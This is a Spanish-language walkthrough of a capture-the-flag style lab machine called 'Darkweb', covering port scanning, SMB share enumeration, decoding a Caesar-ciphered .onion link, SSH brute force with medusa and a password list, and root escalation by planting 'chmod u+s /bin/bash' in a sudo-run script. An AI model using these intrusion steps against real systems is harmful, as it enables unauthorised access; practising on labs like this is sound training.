

# DARKWEB

## Darkweb



**Autor:** d1se0

**Dificultad:** Difícil

**Fecha de creación:**  
17/12/2024

## CONECTIVIDAD

ping para verificar la conectividad con el host identificado.

```
ping -c1 172.17.0.2
```

## ESCANEO DE PUERTOS

```
nmap -p- -Pn -sVCS --min-rate 5000 172.17.0.2 -T 2
```

```
22/tcp 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
```

```
139/tcp open netbios-ssn Samba smbd 4
```

```
445/tcp open netbios-ssn Samba smbd 4
```

## ENUMERACIÓN

Con enum4linux enumeramos recursos compartidos y usuarios

```
enum4linux -a 172.17.0.2
```

====( Share Enumeration on 172.17.0.2 =====

smbXcli\_negprot\_smb1\_done: No compatible protocol selected by server.

	Sharename	Type	Comment
	-----	----	-----
	print\$	Disk	Printer Drivers
	darkshare	Disk	
IPC\$	IPC	IPC Service (16f9a1517d9c server (Samba, Ubuntu))	

[+] Enumerating users using SID S-1-22-1 and logon username "", password "

S-1-22-1-1001 Unix User\dark (Local User)

Nos conectamos a los recursos compartidos con smbclient y descargamos todos los .txt

```
L-# smbclient //172.17.0.2/darkshare -U dark
Password for [WORKGROUP\dark]:
Try "help" to get a list of possible commands.
smb: \> ls
.                D           0 Sat Dec 14 05:24:32 2024
..               D           0 Sat Dec 14 05:24:32 2024
drugs.txt        N          526 Sat Dec 14 05:17:49 2024
hackingServices.txt N        662 Sat Dec 14 05:18:19 2024
archivesDatabases.txt N       563 Sat Dec 14 05:16:30 2024
credentials.txt  N        631 Sat Dec 14 05:17:13 2024
illegal.txt      N         204 Sat Dec 14 05:24:32 2024

      82083148 blocks of size 1024. 44527244 blocks available
smb: \> get illegal.txt
getting file \illegal.txt of size 204 as illegal.txt (14,2 KiloBytes/sec) (average 14,2 KiloBytes/sec)
smb: \> get credentials.txt
getting file \credentials.txt of size 631 as credentials.txt (123,2 KiloBytes/sec) (average 42,9 KiloBytes/sec)
smb: \> get drugs.txt
getting file \drugs.txt of size 526 as drugs.txt (57,1 KiloBytes/sec) (average 47,5 KiloBytes/sec)
smb: \> get hackingServices.txt
getting file \hackingServices.txt of size 662 as hackingServices.txt (161,6 KiloBytes/sec) (average 61,7 KiloBytes/sec)
smb: \> get archivesDatabases.txt
getting file \archivesDatabases.txt of size 563 as archivesDatabases.txt (110,0 KiloBytes/sec) (average 68,3 KiloBytes/sec)
smb: \>
```

Leyendo el ilegals.txt obtenemos

cat ilegal.txt

St qj htrufwyfx jxyf uflnsf f sfinj, xtqt vznjwv vzj qt ajfx yz, df vzj jxyt rj uzjij  
rjyjw jq uwtgqjrfx:

q2kmnaxwhgdy2sz5wnqrarvrmuemzlfm5xewrdwxdgtdpeaxtpki6ini.tsnts

#NOTE: use 5, you understand me

Existe una web muy chula para estas cosas

<https://www.dcode.fr/cifrado-cesar>



Extraemos la siguiente información

No le compartas esta pagina a nadie, solo quiero que lo veas tu, ya que esto me puede meter el problemas:

[l2fhivsrcbyt2nu5rilmvmqmhphzhugai5szrmyrsyboykzvsokfd6did.onion](https://l2fhivsrcbyt2nu5rilmvmqmhphzhugai5szrmyrsyboykzvsokfd6did.onion)

La URL que hemos extraído parece una dirección .onion, que es utilizada para acceder a servicios ocultos en la red Tor.

Abrimos el navegador TOR e ingresamos esta dirección

1- [l2fhivsrcbyt2nu5rilmvmqmhphzhugai5szrmyrsyboykzvsokfd6did.onion](http://l2fhivsrcbyt2nu5rilmvmqmhphzhugai5szrmyrsyboykzvsokfd6did.onion/)

2- <http://l2fhivsrcbyt2nu5rilmvmqmhphzhugai5szrmyrsyboykzvsokfd6did.onion/darkweb.html>

3- <http://l2fhivsrcbyt2nu5rilmvmqmhphzhugai5szrmyrsyboykzvsokfd6did.onion/marketplace.html>

4- <http://l2fhivsrcbyt2nu5rilmvmqmhphzhugai5szrmyrsyboykzvsokfd6did.onion/passwordsListSecretWorld.txt>

Obtenemos una lista de contraseñas con las que intentaremos hacer fuerza bruta con medusa por SSH

dark!6669	h@ck3r_p@ss
1234deadbeef	q9jp3o8gxr#4
tr1cked43x!	a9x\$e5flth
sl@ve2the\$y\$tem	k!ll3rbl00d#10
f0rg3tt1ng#ev3r	@rchetype#22
enigm@t1c_4c1d	#chronic_6j23
W!nT3rR1d3r!	5shadowhunter_99
t3mpor@l_hack!	blind_h@cker#17
C0mp1lex\$24	f@1l1ngDarkn3ss
4llC0ntr0lsf0rmed	deadc0d3!666
W1nt3rCh3ckmate_	xX_b@ckd00r_Xx
h@ck1ng_\$p@wn	K0rruptedRoot!02
s1l3nce!000	~n0_1ntrus1on~
d4rkW@ves_@_88	co_d3mned_h@ck
p!p3l0w1n\$h@ck	56r!m_revelation
DarkKnight99!___	oniondarkgood
Th3%_1nvis1bl3	ph0rce_breach!X9
pr0xys3v3r!x17	kn0ck3rd00r#!23
f3ars_th3_sh@d0w	3vil_und3rworld!
8n1ghtm@r3_p@ss	p@ssw0rddark!04
h@x0r_5kyline#44	@9gr34t_0verl0rd
subtr@ct0r_ninja	r!p_@_fakeb@by
cl@nd3st!n3_2_0	777_n3ver_ch@ng3
b!llyh@cker2024	4lph@_surviv0r
Blackout!eXodus22	666root_!3
B@d#@ss__sh3!11	

```
medusa -h 172.17.0.2 -u dark -P diccionario.txt -n 22 -M ssh -t 5 -T 2 | grep "SUCCESS"
```

2025-01-23 05:51:18 ACCOUNT FOUND: [ssh] Host: 172.17.0.2 User: dark  
Password: oniondarkgood [SUCCESS]

```
# medusa -h 172.17.0.2 -u dark -P diccionario.txt -n 22 -M ssh -t 5 -T 2 | grep "SUCCESS"
2025-01-23 05:51:18 ACCOUNT FOUND: [ssh] Host: 172.17.0.2 User: dark Password: oniondarkgood [SUCCESS]
```

## EXPLOTACIÓN

Accedemos por SSH con estas credenciales

dark/oniondarkgood

```
# ssh dark@172.17.0.2
dark@172.17.0.2's password:
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.11.2-amd64 x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Sat Dec 14 15:44:28 2024 from 172.17.0.1
dark@16f9a1517d9c:~$
```

## ESCALADA DE PRIVILEGIOS

Buscamos permisos sudo

```
dark@16f9a1517d9c:~$ sudo -l
```

Matching Defaults entries for dark on 16f9a1517d9c:  
env\_reset, mail\_badpass, secure\_path=/usr/local/sbin\:/usr/local/bin\:/usr/  
sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use\_pty

User dark may run the following commands on 16f9a1517d9c:

(ALL : ALL) NOPASSWD: /home/dark/hidden.py

```
dark@16f9a1517d9c:~$
```

Vemos que cualquiera puede ejecutar sin contraseña el script hidden.py



Revisamos el contenido de hidden.py y sus permisos

```
dark@16f9a1517d9c:~$ cat hidden.py
#!/bin/python3

import subprocess

# Ruta al archivo Update.sh
script_path = '/usr/local/bin/Update.sh'

# Ejecutar el script de Bash
try:
    subprocess.run(['bash', script_path], check=True)
    print("Script ejecutado con éxito.")
except subprocess.CalledProcessError as e:
    print(f"Hubo un error al ejecutar el script: {e}")
dark@16f9a1517d9c:~$ ls -la hidden.py
-rwxr-xr-x 1 root root 333 Dec 14 12:13 hidden.py
```



El script hidden.py ejecuta un script de Bash llamado Update.sh

ubicado en /usr/local/bin/ usando subprocess.run



Revisamos el contenido de Update.sh

```
dark@16f9a1517d9c:~$ cat /usr/local/bin/Update.sh
#!/bin/bash
```



Vemos que permisos tenemos

```
dark@16f9a1517d9c:~$ ls -la /usr/local/bin/Update.sh
-rw-rw-r-- 1 root root 20 Dec 19 23:50 /usr/local/bin/Update.sh
```

No podemos modificar el archivo como dark, pero si analizamos el directorio

```
dark@16f9a1517d9c:/usr/local/bin$ ls -la
total 16
drwxrwx--- 1 root dark 4096 Jan 23 13:05 .
```

Vemos que podemos eliminar el fichero y crear uno nuevo con el mismo nombre

y dentro `chmod u+s /bin/bash`, con lo que establecemos el bit

setuid en el ejecutable `/bin/bash`

A continuación ejecutamos `bash -p` y nos hacemos root

```
dark@16f9a1517d9c:/usr/local/bin$ bash -p
bash-5.2# whoami
root
bash-5.2#
```

```
dark@16f9a1517d9c:/usr/local/bin$ bash -p
bash-5.2# whoami
root
bash-5.2# id
```

Buen día 😊